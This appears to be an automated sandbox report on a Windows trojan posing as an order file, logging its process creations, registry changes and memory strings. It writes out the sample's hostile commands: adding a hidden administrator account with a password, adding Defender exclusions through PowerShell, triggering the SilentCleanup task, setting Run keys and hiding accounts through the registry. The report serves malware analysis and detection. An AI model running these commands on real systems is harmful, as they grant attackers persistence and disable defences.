Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup users "user" /add	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators "user" /del	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user ADMIN~1 SECRET@1234 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators ADMIN~1 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup users "user" /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators "user" /del	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Process Where ProcessID='6588'
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_Process.Handle="6588"::GetOwner
Source: C:\Windows\SysWOW64\net1.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Process Where ProcessID='4876'
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_Process.Handle="4876"::GetOwner
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Process Where ProcessID='6712'
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_Process.Handle="6712"::GetOwner
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\#NEW ORDER FOR JANUARY 2022.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_knfqx50j.snp.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@71/19@1/1

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4672:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1744:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5956:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2628:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:612:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4780:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5460:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5952:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1556:120:WilError_01

Source: #NEW ORDER FOR JANUARY 2022.exe, DBAABFDBDFAFCAAFCBAACFCD/CEDBDFAEFBDFECBFCAE.cs	Cryptographic APIs: 'CreateDecryptor'
Source: svchost.exe.0.dr, DBAABFDBDFAFCAAFCBAACFCD/CEDBDFAEFBDFECBFCAE.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.df0000.0.unpack, DBAABFDBDFAFCAAFCBAACFCD/CEDBDFAEFBDFECBFCAE.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.#NEW ORDER FOR JANUARY 2022.exe.df0000.0.unpack, DBAABFDBDFAFCAAFCBAACFCD/CEDBDFAEFBDFECBFCAE.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 31.0.aspnet_regbrowsers.exe.400000.4.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 31.0.aspnet_regbrowsers.exe.400000.4.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 31.0.aspnet_regbrowsers.exe.400000.1.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 31.0.aspnet_regbrowsers.exe.400000.1.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: aspnet_regbrowsers.pdbp source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.730764637.00000000036ED000.00000004.00000001.sdmp
Source:	Binary string: aspnet_regbrowsers.pdbp??? \|?_CorExeMainmscoree.dll?% @ source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp
Source:	Binary string: ???Oy??.pdbError: CoCreateInstance(IID_ISymUnmanagedWriter) returns %X source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp
Source:	Binary string: ComSvcConfig.pdb?x source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp
Source:	Binary string: aspnet_regbrowsers.pdb source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.730764637.00000000036ED000.00000004.00000001.sdmp
Source:	Binary string: ilasm.pdb source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp
Source:	Binary string: E:\A\_work\940\s\obj\Editor\IntellisenseDef\Release\net472\Microsoft.VisualStudio.Language.Intellisense.pdb source: svchost.exe, svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp
Source:	Binary string: ComSvcConfig.pdb source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_00DF9101 push ebx; ret	0_2_00DF9102
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_0581060B pushad ; retf	0_2_0581060C
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_05812C5E pushfd ; ret	0_2_05812C61
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_0581C95B push eax; iretd	0_2_0581C961
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_00BF9101 push ebx; ret	32_2_00BF9102
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F2504 push E802005Eh; ret	32_2_053F2509
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EF6B8 push eax; retf	32_2_078EF6B9
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EFC53 push eax; iretd	32_2_078EFC59
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_00FB9101 push ebx; ret	36_2_00FB9102
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878EDE0 push eax; ret	36_2_0878EDE1
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878EE98 pushfd ; ret	36_2_0878EE99
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_058E03EF push E801005Eh; ret	37_2_058E0409

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: 0xAF0CF1CB [Wed Jan 24 10:45:31 2063 UTC]

Source: initial sample	Static PE information: section name: .text entropy: 7.93856030024
Source: initial sample	Static PE information: section name: .text entropy: 7.93856030024

Persistence and Installation Behavior:

Adds a new user with administrator rights

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add			Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe

Drops PE files with benign system names

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe

Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run CBCDCCADCFFABAADCAAEECC

Jump to behavior

Creates autostart registry keys with suspicious names

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce CBCDCCADCFFABAADCAAEECC

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run CBCDCCADCFFABAADCAAEECC	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run CBCDCCADCFFABAADCAAEECC	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce CBCDCCADCFFABAADCAAEECC	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce CBCDCCADCFFABAADCAAEECC	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce CBCDCCADCFFABAADCAAEECC	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce CBCDCCADCFFABAADCAAEECC	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Contains functionality to hide user accounts

Show sources

Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.723973005.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: laREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v 3 /t REG_DWORD /d 0
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000003.706917679.00000000062D2000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000003.706917679.00000000062D2000.00000004.00000001.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000020.00000003.735522789.00000000067C2000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000020.00000003.735522789.00000000067C2000.00000004.00000001.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v 3 /t REG_DWORD /d 0
Source: svchost.exe, 00000024.00000003.756169106.0000000006B42000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000024.00000003.756169106.0000000006B42000.00000004.00000001.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v 3 /t REG_DWORD /d 0
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	String found in binary or memory: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	String found in binary or memory: aREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
